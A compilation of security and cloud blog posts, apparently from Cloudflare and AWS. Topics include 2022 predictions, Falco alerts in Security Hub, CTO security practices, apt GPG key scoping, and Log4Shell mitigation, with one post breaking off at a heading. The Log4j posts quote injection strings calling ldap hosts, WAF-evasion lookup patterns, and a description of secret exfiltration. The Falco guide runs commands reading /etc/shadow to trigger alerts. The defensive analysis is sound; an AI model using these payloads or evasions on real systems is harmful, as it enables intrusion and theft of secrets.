As the year comes to a close, I often reflect and make predictions about what’s to come in the next. I’ve written end-of-year predictions posts in the past, but this is my first one at Cloudflare. I joined as Field CTO in September and currently enjoy the benefit of a long history in the Internet industry with fresh eyes regarding Cloudflare. I’m excited to share a few of my thoughts as we head into the new year. Let’s go!
“Never make predictions, especially about the future.” — Casey Stengel
Adapting to a 5G world
Over the last few years, 5G networks have begun to roll out gradually worldwide. When carriers bombard us with holiday ads touting their new 5G networks, it can be hard to separate hype from reality. But 5G technology is real, and the promise for end-users is vastly more wireless bandwidth and lower network latency. Better network performance will make websites, business applications, video streaming, online games, and emerging technologies like AR/VR all perform better.
The trend of flexible work will also likely increase the adoption of 5G mobile and fixed wireless broadband. Device makers will ship countless new products with embedded 5G in the coming year. Remote workers will eagerly adopt new technology that improves Internet performance and reliability.
Companies will also invest heavily in 5G to deliver better experiences for their employees and customers. Developers will start re-architecting applications where more wireless “last mile” bandwidth and lower wireless latency will have the most benefit. Similarly, network architects will seek solutions to improve the end-to-end performance of the entire network. In 2022, we’ll see massive investment and increased competition around 5G amongst network operators and cloud providers. Customers will gravitate to partners who can balance 5G network adoption with the most significant impact and the least cost and effort.
The talent is out there; it’s “just not evenly distributed.”
For various reasons, large numbers of workers changed jobs this year. In what has been called “the great resignation,” some claim there’s now a shortage of experienced tech workers. I’d argue that it’s more of a “great reshuffle” and consequently a race to attract and hire the best talent.
Work has changed profoundly due to the global pandemic over the last two years. People are now searching, applying, interviewing, onboarding, and working entirely remotely. Anyone looking to change jobs is likely evaluating potential employers on the working environment more than they did pre-2020.
Jobseekers are evaluating employers on different criteria than in the past. Does video conferencing work reliably? How streamlined is access to the software and tools I use every day? Can I work securely from different locations, or do the company’s security controls and VPN make it difficult to work flexibly?
Employers must make working flexibly easy and secure to attract the best talent. Even small amounts of digital friction are frustrating for workers and wasteful for employers. CIOs must take the lead and optimize the fully-digital, flexible work experience to compete for the very best talent. In 2022, I predict technology and tools will increasingly tip the balance in the talent war, and companies will look for every technological advantage to attract the talent they need.
Cloud Simply Increases
To eliminate some strain on employees, companies will search for ways to simplify their business processes and automate as much as possible. IT leaders will look for tasks they can outsource altogether. The best collaboration software and productivity tools tend to be delivered as-a-service.
It’s easy to predict more cloud adoption. But I don’t expect most companies to keep pace with how fast the cloud evolves. I was recently struck by how many services are now part of cloud provider portfolios. It isn’t easy for many companies to train employees and absorb these products fast enough. Another challenge is more cloud adoption means CEOs are often caught off guard by how much they are spending on the cloud. Lastly, there’s the risk that employee turnover means your cloud expertise sometimes walks out the door.
I predict companies will continue to adopt the cloud quickly, but IT leaders will expect cloud services to simplify instead of adding more complexity. Companies need the cloud to solve problems, not just provide the building blocks. IT leaders will ask for more bang for the buck and squeeze more value from their cloud partners to keep costs under control.
I also look forward to CIOs putting pressure on cloud providers to play nice with others and stop holding companies hostage. We believe egregious egress charges are a barrier to cloud adoption, and eliminating them would remove much of the cost and frustration associated with integrating services and leveraging multiple clouds.
“Everything should be made as simple as possible, but not simpler.” — Albert Einstein
Security is only getting more complicated. Companies must embrace zero trust
Throughout 2021, Cloudflare observed a steady rise in bot traffic and ever-larger DDoS attacks. As an industry, we’ve seen the trends of more phishing attempts and high-profile ransomware attacks. The recent emergence of the Log4j vulnerability has reminded us that security doesn’t take a holiday.
Given the current threat landscape, how do we protect our companies? Can we stop blaming users for clicking phishing emails? How do we isolate bad actors if they happen to find a new zero-day exploit like Log4j?
The only trend I see that brings me hope is zero trust. It’s been on the radar for a few years, and some companies have implemented point-products that are called zero trust. But zero trust isn’t a product or industry buzzword. Zero trust is an overarching security philosophy. In my opinion, far too few companies have embraced zero trust as such.
In 2022, CIOs and CISOs will increasingly evaluate (or reevaluate) technologies and practices in their security toolkit through the lens of zero trust. It should not matter how invested IT leaders are in existing security technology. Everything should be scrutinized, from managing networks and deploying firewalls to authenticating users and securing access to applications. If it doesn’t fit in the context of zero trust, IT managers should probably replace it.
The security-as-a-service model will tend to win for the same reasons I predicted more cloud. Namely, solving security problems as simply as possible with the fewest headcount required.
The corporate network (WAN) is dead. Long live the (Internet-based) corporate network
I can’t pinpoint the official time of death of the corporate WAN, but it was sometime between the advent of fiber-to-the-home and 5G wireless broadband. The corporate network has long suffered from high costs and inflexibility. SD-WAN was the prescription that extended the corporate network’s life, but work-from-home made the corporate network an anachronism.
Video conferencing and SaaS apps now run better at home than at the office for many of us. And the broader rollout of 5G will make things even better for mobile users. Your old VPN will soon disappear too. Shutting down the legacy VPN should be a badge of honor for the CISO. It’s a sign that the company has replaced the castle-and-moat perimeter firewall architecture and is embracing the zero trust security model.
In 2022 and beyond, the Internet will become the only network that matters for most users and companies. SaaS adoption and continued flexible work arrangements will lead companies to give up the idea of the traditional corporate network. IT leaders will likely cut budgets for existing WAN infrastructure to invest in more effective end-user productivity.
Matters of Privacy
Social media whistleblowers, end-to-end encryption, and mobile device privacy were on the minds of consumers in 2021. Consumers want to know whom they’re buying from and sharing data with, are they trustworthy, and what these companies do with the collected data?
Data privacy for businesses is critical to get right due to the scope of the privacy issues at hand. Historically, as some digital enterprises grew, there was a race to collect as much data as possible about their users and use it to generate revenue. The EU Global Data Protection Regulation (GDPR) has turned that around and forced companies to reevaluate their data collection practices. It has put power back into the hands of users and consumers.
GDPR is just one set of rules regulating the use of data about citizens. The US, EU, China, Russia, India, and Brazil have different views and regulations on privacy. Data privacy rules will not evolve the same everywhere, and it will be increasingly difficult for companies to navigate the patchwork of regulations around the globe.
Just as security is now a part of every software delivery stage, privacy needs to be considered throughout the development process. I predict that in 2022 and beyond, companies will architect applications with privacy laws in mind from the outset. About a year ago, we announced Cloudflare Data Localization Suite, which helps businesses take advantage of our global network’s performance and security benefits while making it easy to set rules to control where their data is handled automatically.
Another trend that spans the domains of privacy, security, and remote work is user preference for a single device for both personal and work-related activities. Carrying two or more devices is a hassle, but maintaining privacy and security on an unmanaged device presents challenges for IT. We will move away from the traditional tightly controlled, IT-managed device with time. Browser isolation and the evolution of zero trust security controls will get us closer to this holy grail of end-user device independence.
Conclusion
We have much to be thankful for, even with the challenges we’ve all faced in 2021. 2022 may well be as challenging as this year has been, but I predict it will be a great year, nonetheless. We’ll work hard, learn from our mistakes, and ultimately adapt to whatever life and work throw at us. At least that’s my plan for next year!
Customers want a single and comprehensive view of the security posture of their workloads. Runtime security event monitoring is important to building secure, operationally excellent, and reliable workloads, especially in environments that run containers and container orchestration platforms. In this blog post, we show you how to use services such as AWS Security Hub and Falco, a Cloud Native Computing Foundation project, to build a continuous runtime security monitoring solution.
With the solution in place, you can collect runtime security findings from multiple AWS accounts running one or more workloads on AWS container orchestration platforms, such as Amazon Elastic Kubernetes Service (Amazon EKS) or Amazon Elastic Container Service (Amazon ECS). The solution collates the findings across those accounts into a designated account where you can view the security posture across accounts and workloads.
Solution overview
Security Hub collects security findings from other AWS services using a standardized AWS Security Findings Format (ASFF). Falco provides the ability to detect security events at runtime for containers. Partner integrations like Falco are also available on Security Hub and use ASFF. Security Hub provides a custom integrations feature using ASFF to enable collection and aggregation of findings that are generated by custom security products.
Figure 1: Architecture diagram of continuous runtime security monitoring
Here’s how the solution works, as shown in Figure 1:
An AWS account is running a workload on Amazon EKS.
Runtime security events detected by Falco for that workload are sent to CloudWatch logs using AWS FireLens.
CloudWatch logs act as the source for FireLens and a trigger for the Lambda function in the next step.
The Lambda function transforms the logs into the ASFF. These findings can now be imported into Security Hub.
The Security Hub instance that is running in the same account as the workload running on Amazon EKS stores and processes the findings provided by Lambda and provides the security posture to users of the account. This instance also acts as a member account for Security Hub.
Another AWS account is running a workload on Amazon ECS.
Runtime security events detected by Falco for that workload are sent to CloudWatch logs using AWS FireLens.
CloudWatch logs acts as the source for FireLens and a trigger for the Lambda function in the next step.
The Lambda function transforms the logs into the ASFF. These findings can now be imported into Security Hub.
The Security Hub instance that is running in the same account as the workload running on Amazon ECS stores and processes the findings provided by Lambda and provides the security posture to users of the account. This instance also acts as another member account for Security Hub.
The designated Security Hub administrator account combines the findings generated by the two member accounts, and then provides a comprehensive view of security alerts and security posture across AWS accounts. If your workloads span multiple regions, Security Hub supports aggregating findings across Regions.
Prerequisites
For this walkthrough, you should have the following in place:
Three AWS accounts.
Note: We recommend three accounts so you can experience Security Hub’s support for a multi-account setup. However, you can use a single AWS account instead to host the Amazon ECS and Amazon EKS workloads, and send findings to Security Hub in the same account. If you are using a single account, skip the following account specific-guidance. If you are integrated with AWS Organizations, the designated Security Hub administrator account will automatically have access to the member accounts.
Security Hub set up with an administrator account on one account.
Security Hub set up with member accounts on two accounts: one account to host the Amazon EKS workload, and one account to host the Amazon ECS workload.
Falco set up on the Amazon EKS and Amazon ECS clusters, with logs routed to CloudWatch Logs using FireLens. For instructions on how to do this, see:
Important: Take note of the names of the CloudWatch Logs groups, as you will need them in the next section.
AWS Cloud Development Kit (CDK) installed on the member accounts to deploy the solution that provides the custom integration between Falco and Security Hub.
Deploying the solution
In this section, you will learn how to deploy the solution and enable the CloudWatch Logs group. Enabling the CloudWatch Logs group is the trigger for running the Lambda function in both member accounts.
To deploy this solution in your own account
Clone the aws-securityhub-falco-ecs-eks-integration GitHub repository by running the following command. $git clone https://github.com/aws-samples/aws-securityhub-falco-ecs-eks-integration
Follow the instructions in the README file provided on GitHub to build and deploy the solution. Make sure that you deploy the solution to the accounts hosting the Amazon EKS and Amazon ECS clusters.
Navigate to the AWS Lambda console and confirm that you see the newly created Lambda function. You will use this function in the next section.
Figure 2: Lambda function for Falco integration with Security Hub
To enable the CloudWatch Logs group
In the AWS Management Console, select the Lambda function shown in Figure 2—AwsSecurityhubFalcoEcsEksln-lambdafunction—and then, on the Function overview screen, select + Add trigger.
On the Add trigger screen, provide the following information and then select Add, as shown in Figure 3.
Trigger configuration – From the drop-down, select CloudWatch logs.
Log group – Choose the Log group you noted in Step 4 of the Prerequisites. In our setup, the log group for the Amazon ECS and Amazon EKS clusters, deployed in separate AWS accounts, was set with the same value (falco).
Filter name – Provide a name for the filter. In our example, we used the name falco.
Filter pattern – optional – Leave this field blank.
Figure 3: Lambda function trigger – CloudWatch Log group
Repeat these steps (as applicable) to set up the trigger for the Lambda function deployed in other accounts.
Testing the deployment
Now that you’ve deployed the solution, you will verify that it’s working.
With the default rules, Falco generates alerts for activities such as:
An attempt to write to a file below the /etc folder. The /etc folder contains important system configuration files.
An attempt to open a sensitive file (such as /etc/shadow) for reading.
To test your deployment, you will attempt to perform these activities to generate Falco alerts that are reported as Security Hub findings in the same account. Then you will review the findings.
To test the deployment in member account 1
Run the following commands to trigger an alert in member account 1, which is running an Amazon EKS cluster. Replace <container_name> with your own value. kubectl exec -it <container_name> /bin/bash touch /etc/5 cat /etc/shadow > /dev/null
To see the list of findings, log in to your Security Hub admin account and navigate to Security Hub > Findings. As shown in Figure 4, you will see the alerts generated by Falco, including the Falco-generated title, and the instance where the alert was triggered.
Figure 4: Findings in Security Hub
To see more detail about a finding, check the box next to the finding. Figure 5 shows some of the details for the finding Read sensitive file untrusted.
Figure 6 shows the Resources section of this finding, that includes the instance ID of the Amazon EKS cluster node. In our example this is the Amazon Elastic Compute Cloud (Amazon EC2) instance.
To test the deployment in member account 2
Run the following commands to trigger a Falco alert in member account 2, which is running an Amazon ECS cluster. Replace <<container_id> with your own value. docker exec -it <container_id> bash touch /etc/5 cat /etc/shadow > /dev/null
As in the preceding example with member account 1, to view the findings related to this alert, navigate to your Security Hub admin account and select Findings.
To view the collated findings from both member accounts in Security Hub
In the designated Security Hub administrator account, navigate to Security Hub> Findings. The findings from both member accounts are collated in the designated Security Hub administrator account. You can use this centralized account to view the security posture across accounts and workloads. Figure 7 shows two findings, one from each member account, viewable in the Single Pane of Glass administrator account.
Figure 7: Write below /etc findings in a single view
To see more information and a link to the corresponding member account where the finding was generated, check the box next to the finding. Figure 8 shows the account detail associated with a specific finding in member account 1.
Figure 8: Write under /etc detail view in Security Hub admin account
By centralizing and enriching the findings from Falco, you can take action more quickly or perform automated remediation on the impacted resources.
Delete the Amazon EKS and Amazon ECS clusters created as part of the Prerequisites.
Conclusion
In this post, you learned how to achieve multi-account continuous runtime security monitoring for container-based workloads running on Amazon EKS and Amazon ECS. This is achieved by creating a custom integration between Falco and Security Hub.
You can extend this solution in a number of ways. For example:
You can forward findings across accounts using a single source to security information and event management (SIEM) tools such as Splunk.
You can perform automated remediation activities based on the findings generated, using Lambda.
In my role as a Senior Solutions Architect, I have spoken to chief technology officers (CTOs) and executive leadership of large enterprises like big banks, software as a service (SaaS) businesses, mid-sized enterprises, and startups.
In this 6-part series, I share insights gained from various CTOs during their cloud adoption journeys at their respective organizations. I have taken these lessons and summarized architecture best practices to help you build and operate applications successfully in the cloud. This series will also cover topics on building and operating cloud applications, security, cloud financial management, modern data and artificial intelligence (AI), cloud operating models, and strategies for cloud migration.
In part 2, my colleague Paul Hawkins and I will show you how to effectively communicate organization-wide security processes. This will ensure you can make informed decisions to scale effectively. We also describe how to establish robust security controls using best practices from the Security Pillar of the Well-Architected Framework.
Effectively establish and communicate security processes
To ensure your employees, customers, contractors, etc., understand your organization’s security goals, make sure that people know the what, how, and why behind your security objectives:
What are the overall objectives they need to meet?
How do you intend for the organization and your customers to work together to meet these goals?
Why are meeting these goals important to your organization and customers?
Having well communicated security principles gives a common understanding of overall objectives. Once you communicate these goals, you can get more specific in terms of how those objectives can be achieved.
The next sections discuss best practices to establish your organization’s security processes.
Create a “path to production” process
A “path to production” process is a set of consistent and reusable engineering standards and steps that each new cloud workload must adhere to prior to production deployment. Using this process will increase delivery velocity while reducing business risk by ensuring strong compliance to standards.
Classify your data for better access control
Understanding the type of data that you are handling and where it is being handled is critical to understanding what you need to do to appropriately protect it. For example, the requirements for a public website are different than a payment processing workload. By knowing where and when sensitive data is being accessed or used, you can more easily assess and establish the appropriate controls.
Figure 1 shows a scale that will help you determine when and how to protect sensitive data. It shows that you would apply stricter access controls for more sensitive data to reduce the risk of inappropriate access. Detective controls allow you to audit and respond to unexpected access.
By simplifying the baseline control posture across all environments and layering on stricter controls where appropriate, you will make it easier to deliver change more swiftly while maintaining the right level of security.
Figure 1. Data classification and control scale
Identify and prioritize how to address risks using a threat model
As shown in the How to approach threat modeling blog post, threat modeling helps workload teams identify potential threats and develop or implement security controls to address those threats.
Threat modeling is most effective when it’s done at the workload (or workload feature) level. We recommend creating reusable threat modeling templates. This will help ensure quicker time to production and a consistent security control posture for your systems.
Create feedback cycles
Security, like other areas of architecture and design, is not static. You don’t implement security processes and walk away, just like you wouldn’t ship an application and never improve its availability, performance, or ease of operation.
Implementation of feedback cycles will vary depending on your organizational structure and processes. However, one common way we have seen feedback cycles being implemented is with a collaborative, blame-free root cause analysis (RCA) process. It allows you to understand how many issues you have been able to prevent or effectively respond to and apply that knowledge to make your systems more secure. It also demonstrates organizational support for an objective discussion where people are not penalized for asking questions.
Security controls
Protect your applications and infrastructure
To secure your organization, build automation that delivers robust answers to the following questions:
Preventative controls – how well can you block unauthorized access?
Detective controls – how well can you identify unexpected activity or unwanted configuration?
Incident response – how quickly and effectively can you respond and recover from issues?
Data protection – how well is the data protected while being used and stored?
Preventative controls
Start with robust identity and access management (IAM). For human access, avoid having to maintain separate credentials between cloud and on-premises systems. It does not scale and creates threat vectors such as long-lived credentials and credential leaks.
Instead, use federated authentication within a centralized system for provisioning and deprovisioning organization-wide access to all your systems, including the cloud. For AWS access, you can do this with AWS Single Sign-On (AWS SSO), direct federation to IAM, or integration with partner solutions, such as Okta or Active Directory.
Enhance your trust boundary with the principles of “zero trust.” Traditionally, organizations tend to rely on the network as the primary point of control. This can create a “hard shell, soft core” model, which doesn’t consider context for access decisions. Zero trust is about increasing your use of identity as a means to grant access in addition to traditional controls that rely on network being private.
Apply “defense in depth” to your application infrastructure with a layered security architecture. The sequence in which you layer the controls together can depend on your use case. For example, you can apply IAM controls either at the database layer or at the start of user activity—or both. Figure 2 shows a conceptual view of layering controls to help secure access to your data. Figure 3 shows the implementation view for a web-facing application.
Figure 2. Defense in depth
Figure 3. Defense in depth applied to a web application
Detective controls
Detective controls allow you to get the information you need to respond to unexpected changes and incidents. Tools like Amazon GuardDuty and AWS Config can integrate with your security information and event monitoring (SIEM) system so you can respond to incidents using human and automated intervention.
Incident response
When security incidents are detected, timely and appropriate response is critical to minimize business impact. A robust incident response process is a combination of human intervention steps and automation. The AWS Security Hub Automated Response and Remediation solution provides an example of how you can build incident response automation.
Protect data with robust controls
Restrict access to your databases with private networking and strong identity and access control. Apply data encryption in transit (TLS) and at rest. A common mistake that organizations make is not enabling encryption at rest in databases at the time of initial deployment.
It is difficult to enable database encryption after the fact without time-consuming data migration. Therefore, enable database encryption from the start and minimize direct human access to data by applying principles of least privilege. This reduces the likelihood of accidental disclosure of information or misconfiguration of systems.
Ready to get started?
As a CTO, understanding the overall posture of your security processes against the foundational security controls is beneficial. Tracking key metrics on the effectiveness of the decision-making process, overall security objectives, and the improvement in posture over time should be regularly evaluated by the CTO and CISO organizations.
Embedding the principles of robust security processes and controls into the way your organization designs, develops, and operates workloads makes it easier to consistently make good decisions quickly.
To get started, look at workloads where engineering and security are already working together or bootstrap an initiative for this. Use the Well Architected Tool’s Security Pillar to create and communicate a set of objectives that demonstrate value.
Looking for more architecture content? AWS Architecture Center provides reference architecture diagrams, vetted architecture solutions, Well-Architected best practices, patterns, icons, and more!
This vulnerability is actively being exploited and anyone using Log4J should update to version 2.16.0 as soon as possible, even if you have previously updated to 2.15.0. The latest version can be found on the Log4J download page.
Customers using the Cloudflare WAF have three rules to help mitigate any exploit attempts:
Rule ID
Description
Default Action
100514 (legacy WAF) 6b1cc72dff9746469d4695a474430f12 (new WAF)
Log4J Headers
BLOCK
100515 (legacy WAF) 0c054d4e4dd5455c9ff8f01efe5abb10 (new WAF)
Log4J Body
BLOCK
100516 (legacy WAF) 5f6744fa026a4638bda5b3d7d5e015dd (new WAF)
Log4J URL
BLOCK
The mitigation has been split across three rules inspecting HTTP headers, body and URL respectively.
In addition to the above rules we have also released a fourth rule that will protect against a much wider range of attacks at the cost of a higher false positive rate. For that reason we have made it available but not set it to BLOCK by default:
Rule ID
Description
Default Action
100517 (legacy WAF) 2c5413e155db4365befe0df160ba67d7 (new WAF)
Log4J Advanced URI, Headers
DISABLED
Who is affected
Log4J is a powerful Java-based logging library maintained by the Apache Software Foundation.
In all Log4J versions >= 2.0-beta9 and <= 2.14.1 JNDI features used in configuration, log messages, and parameters can be exploited by an attacker to perform remote code execution. Specifically, an attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
In addition, the previous mitigations for CVE-2021-22448 as seen in version 2.15.0 were not adequate to protect against CVE-2021-45046.
Recently, we received a bug bounty report regarding the GPG signing key used for pkg.cloudflareclient.com, the Linux package repository for our Cloudflare WARP products. The report stated that this private key had been exposed. We’ve since rotated this key and we are taking steps to ensure a similar problem can’t happen again. Before you read on, if you are a Linux user of Cloudflare WARP, please follow these instructions to rotate the Cloudflare GPG Public Key trusted by your package manager. This only affects WARP users who have installed WARP on Linux. It does not affect Cloudflare customers of any of our other products or WARP users on mobile devices.
But we also realized that the impact of an improperly secured private key can have consequences that extend beyond the scope of one third-party repository. The remainder of this blog shows how to improve the security of apt with third-party repositories.
The unexpected impact
At first, we thought that the exposed signing key could only be used by an attacker to forge packages distributed through our package repository. However, when reviewing impact for Debian and Ubuntu platforms we found that our instructions were outdated and insecure. In fact, we found the majority of Debian package repositories on the Internet were providing the same poor guidance: download the GPG key from a website and then either pipe it directly into apt-key or copy it into /etc/apt/trusted.gpg.d/. This method adds the key as a trusted root for software installation from any source. To see why this is a problem, we have to understand how apt downloads and verifies software packages.
How apt verifies packages
In the early days of Linux, package maintainers wanted to make sure users could trust that the software being installed on their machines came from a trusted source.
Apt has a list of places to pull packages from (sources) and a method to validate those sources (trusted public keys). Historically, the keys were stored in a single keyring file: /etc/apt/trusted.gpg. Later, as third party repositories became more common, apt could also look inside /etc/apt/trusted.gpg.d/ for individual key files.
What happens when you run apt update? First, apt fetches a signed file called InRelease from each source. Some servers supply separate Release and signature files instead, but they serve the same purpose. InRelease is a file containing metadata that can be used to cryptographically validate every package in the repository. Critically, it is also signed by the repository owner’s private key. As part of the update process, apt verifies that the InRelease file has a valid signature, and that the signature was generated by a trusted root. If everything checks out, a local package cache is updated with the repository’s contents. This cache is directly used when installing packages. The chain of signed InRelease files and cryptographic hashes ensures that each downloaded package hasn’t been corrupted or tampered with along the way.
A typical third-party repository today
For most Ubuntu/Debian users today, this is what adding a third-party repository looks like in practice:
Add a file in /etc/apt/sources.list.d/ telling apt where to look for packages.
Add the gpg public key to /etc/apt/trusted.gpg.d/, probably via apt-key.
If apt-key is used in the second step, the command typically pops up a deprecation warning, telling you not to use apt-key. There’s a good reason: adding a key like this trusts it for any repository, not just the source from step one. This means if the private key associated with this new source is compromised, attackers can use it to bypass apt’s signature verification and install their own packages.
What would this type of attack look like? Assume you’ve got a stock Debian setup with a default sources list1:
deb http://deb.debian.org/debian/ bullseye main non-free contrib
deb http://security.debian.org/debian-security bullseye-security main contrib non-free
At some point you installed a trusted key that was later exposed, and the attacker has the private key. This key was added alongside a source pointing at https, assuming that even if the key is broken an attacker would have to break TLS encryption as well to install software via that route.
You’re enjoying a hot drink at your local cafe, where someone nefarious has managed to hack the router without your knowledge. They’re able to intercept http traffic and modify it without your knowledge. An auto-update script on your laptop runs apt update. The attacker pretends to be deb.debian.org, and because at least one source is configured to use http, the attacker doesn’t need to break https. They return a modified InRelease file signed with the compromised key, indicating that a newer update of the bash package is available. apt pulls the new package (again from the attacker) and installs it, as root. Now you’ve got a big problem2.
A better way
It seems the way most folks are told to set up third-party Debian repositories is wrong. What if you could tell apt to only trust that GPG key for a specific source? That, combined with the use of https, would significantly reduce the impact of a key compromise. As it turns out, there’s a way to do that! You’ll need to do two things:
Make sure the key isn’t in /etc/apt/trusted.gpg or /etc/apt/trusted.gpg.d/ anymore. If the key is its own file, the easiest way to do this is to move it to /usr/share/keyrings/. Make sure the file is owned by root, and only root can write to it. This step is important, because it prevents apt from using this key to check all repositories in the sources list.
Modify the sources file in /etc/apt/sources.list.d/ telling apt that this particular repository can be “signed by” a specific key. When you’re done, the line should look like this:
deb [signed-by=/usr/share/keyrings/cloudflare-client.gpg] https://pkg.cloudflareclient.com/ bullseye main
Some source lists contain other metadata indicating that the source is only valid for certain architectures. If that’s the case, just add a space in the middle, like so:
deb [amd64 signed-by=/usr/share/keyrings/cloudflare-client.gpg] https://pkg.cloudflareclient.com/ bullseye main
We’ve updated the instructions on our own repositories for the WARP Client and Cloudflare with this information, and we hope others will follow suit.
If you run apt-key list on your own machine, you’ll probably find several keys that are trusted far more than they should be. Now you know how to fix them!
For those running your own repository, now is a great time to review your installation instructions. If your instructions tell users to curl a public key file and pipe it straight into sudo apt-key, maybe there’s a safer way. While you’re in there, ensuring the package repository supports https is a great way to add an extra layer of security (and if you host your traffic via Cloudflare, it’s easy to set up, and free. You can follow this blog post to learn how to properly configure Cloudflare to cache Debian packages).
1RPM-based distros like Fedora, CentOS, and RHEL also use a common trusted GPG store to validate packages, but since they generally use https by default to fetch updates they aren’t vulnerable to this particular attack. 2The attack described above requires an active on-path network attacker. If you are using the WARP client or Cloudflare for Teams to tunnel your traffic to Cloudflare, your network traffic cannot be tampered with on local networks.
In this blog post we will cover WAF evasion patterns and exfiltration attempts seen in the wild, trend data on attempted exploitation, and information on exploitation that we saw prior to the public disclosure of CVE-2021-44228.
In short, we saw limited testing of the vulnerability on December 1, eight days before public disclosure. We saw the first attempt to exploit the vulnerability just nine minutes after public disclosure showing just how fast attackers exploit newly found problems.
We also see mass attempts to evade WAFs that have tried to perform simple blocking, we see mass attempts to exfiltrate data including secret credentials and passwords.
WAF Evasion Patterns and Exfiltration Examples
Since the disclosure of CVE-2021-44228 (now commonly referred to as Log4Shell) we have seen attackers go from using simple attack strings to actively trying to evade blocking by WAFs. WAFs provide a useful tool for stopping external attackers and WAF evasion is commonly attempted to get past simplistic rules.
In the earliest stages of exploitation of the Log4j vulnerability attackers were using un-obfuscated strings typically starting with ${jndi:dns, ${jndi:rmi and ${jndi:ldap and simple rules to look for those patterns were effective.
Quickly after those strings were being blocked and attackers switched to using evasion techniques. They used, and are using, both standard evasion techniques (escaping or encoding of characters) and tailored evasion specific to the Log4j Lookups language.
Any capable WAF will be able to handle the standard techniques. Tricks like encoding ${ as %24%7B or \u0024\u007b are easily reversed before applying rules to check for the specific exploit being used.
However, the Log4j language has some rich functionality that enables obscuring the key strings that some WAFs look for. For example, the ${lower} lookup will lowercase a string. So, ${lower:H} would turn into h. Using lookups attackers are disguising critical strings like jndi helping to evade WAFs.
In the wild we are seeing use of ${date}, ${lower}, ${upper}, ${web}, ${main} and ${env} for evasion. Additionally, ${env}, ${sys} and ${main} (and other specialized lookups for Docker, Kubernetes and other systems) are being used to exfiltrate data from the target process’ environment (including critical secrets).
To better understand how this language is being used, here is a small Java program that takes a string on the command-line and logs it to the console via Log4j:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4jTester{
private static final Logger logger = LogManager.getLogger(log4jTester.class);
public static void main(String[] args) {
logger.error(args[0]);
}
}
This simple program writes to the console. Here it is logging the single word hide.
The Log4j language allows use of the ${} inside ${} thus attackers are able to combine multiple different keywords for evasion. For example, the following ${lower:${lower:h}}${lower:${upper:i}}${lower:D}e would be logged as the word hide. That makes it easy for an attacker to evade simplistic searching for ${jndi, for example, as the letters of jndi can be hidden in a similar manner.
The other major evasion technique makes use of the :- syntax. That syntax enables the attacker to set a default value for a lookup and if the value looked up is empty then the default value is output. So, for example, looking up a non-existent environment variable can be used to output letters of a word.
Similar techniques are in use with ${web}, ${main}, etc. as well as strings like ${::-h} or ${::::::-h} which both turn into h. And, of course, combinations of these techniques are being put together to make more and more elaborate evasion attempts.
To get a sense for how evasion has taken off here’s a chart showing un-obfuscated ${jndi: appearing in WAF blocks (the orange line), the use of the ${lower} lookup (green line), use of URI encoding (blue line) and one particular evasion that’s become popular ${${::-j}${::-n}${::-d}${::-i}(red line).
For the first couple of days evasion was relatively rare. Now, however, although naive strings like ${jndi: remain popular evasion has taken off and WAFs must block these improved attacks.
We wrote last week about the initial phases of exploitation that were mostly about reconnaissance. Since then attackers have moved on to data extraction.
We see the use of ${env} to extract environment variables, and ${sys} to get information about the system on which Log4j is running. One attack, blocked in the wild, attempted to exfiltrate a lot of data from various Log4j lookups:
There you can see the user, home directory, Docker image name, details of Kubernetes and Spring, passwords for the user and databases, hostnames and command-line arguments being exfiltrated.
Because of the sophistication of both evasion and exfiltration WAF vendors need to be looking at any occurrence of ${ and treating it as suspicious. For this reason, we are additionally offering to sanitize any logs we send our customer to convert ${ to x{.
The Cloudflare WAF team is continuously working to block attempted exploitation but it is still vital that customers patch their systems with up to date Log4j or apply mitigations. Since data that is logged does not necessarily come via the Internet systems need patching whether they are Internet-facing or not.
All paid customers have configurable WAF rules to help protect against CVE-2021-44228, and we have also deployed protection for our free customers.
CVE-2021-44228 Exploitation Trends
Cloudflare quickly put in place WAF rules to help block these attacks. The following chart shows how those blocked attacks evolved.
From December 10 to December 13 we saw the number of blocks per minute ramp up as follows.
Date
Mean blocked requests per minute
2021-12-10
5,483
2021-12-11
18,606
2021-12-12
27,439
2021-12-13
24,642
In our initial blog post we noted that Canada (the green line below) was the top source country for attempted exploitation. As we predicted that did not continue and attacks are coming from all over the wild, either directly from servers or via proxies.
Exploitation of CVE-2021-44228 prior to disclosure
CVE-2021-44228 was disclosed in a (now deleted) Tweet on 2021-12-09 14:25 UTC:
However, our systems captured three instances of attempted exploitation or scanning on December 1, 2021 as follows. In each of these I have obfuscated IP addresses and domain names. These three injected ${jndi:ldap} lookups in the HTTP User-Agent header, the Referer header and in URI parameters.
2021-12-01 03:58:34
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://rb3w24.example.com/x}
Referer: /${jndi:ldap://rb3w24.example.com/x}
Path: /$%7Bjndi:ldap://rb3w24.example.com/x%7D
2021-12-01 04:36:50
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://y3s7xb.example.com/x}
Referer: /${jndi:ldap://y3s7xb.example.com/x}
Parameters: x=$%7Bjndi:ldap://y3s7xb.example.com/x%7D
2021-12-01 04:20:30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://vf9wws.example.com/x}
Referer: /${jndi:ldap://vf9wws.example.com/x}
Parameters: x=$%7Bjndi:ldap://vf9wws.example.com/x%7D
After those three attempts we saw no further activity until nine minutes after public disclosure when someone attempts to inject a ${jndi:ldap} string via a URI parameter on a gaming website.
CVE-2021-44228 is being actively exploited by a large number of actors. WAFs are effective as a measure to help prevent attacks from the outside, but they are not foolproof and attackers are actively working on evasions. The potential for exfiltration of data and credentials is incredibly high and the long term risks of more devastating hacks and attacks is very real.
It is vital to mitigate and patch affected software that uses Log4j now and not wait.
On December 9, 2021, the world learned about CVE-2021-44228, a zero-day exploit affecting the Apache Log4j utility. Cloudflare immediately updated our WAF to help protect against this vulnerability, but we recommend customers update their systems as quickly as possible.
However, we know that many Cloudflare customers consume their logs using software that uses Log4j, so we are also mitigating any exploits attempted via Cloudflare Logs. As of this writing, we are seeing the exploit pattern in logs we send to customers up to 1000 times every second.
Starting immediately, customers can update their Logpush jobs to automatically redact tokens that could trigger this vulnerability. You can read more about this in our developer docs or see details below.
How the attack works
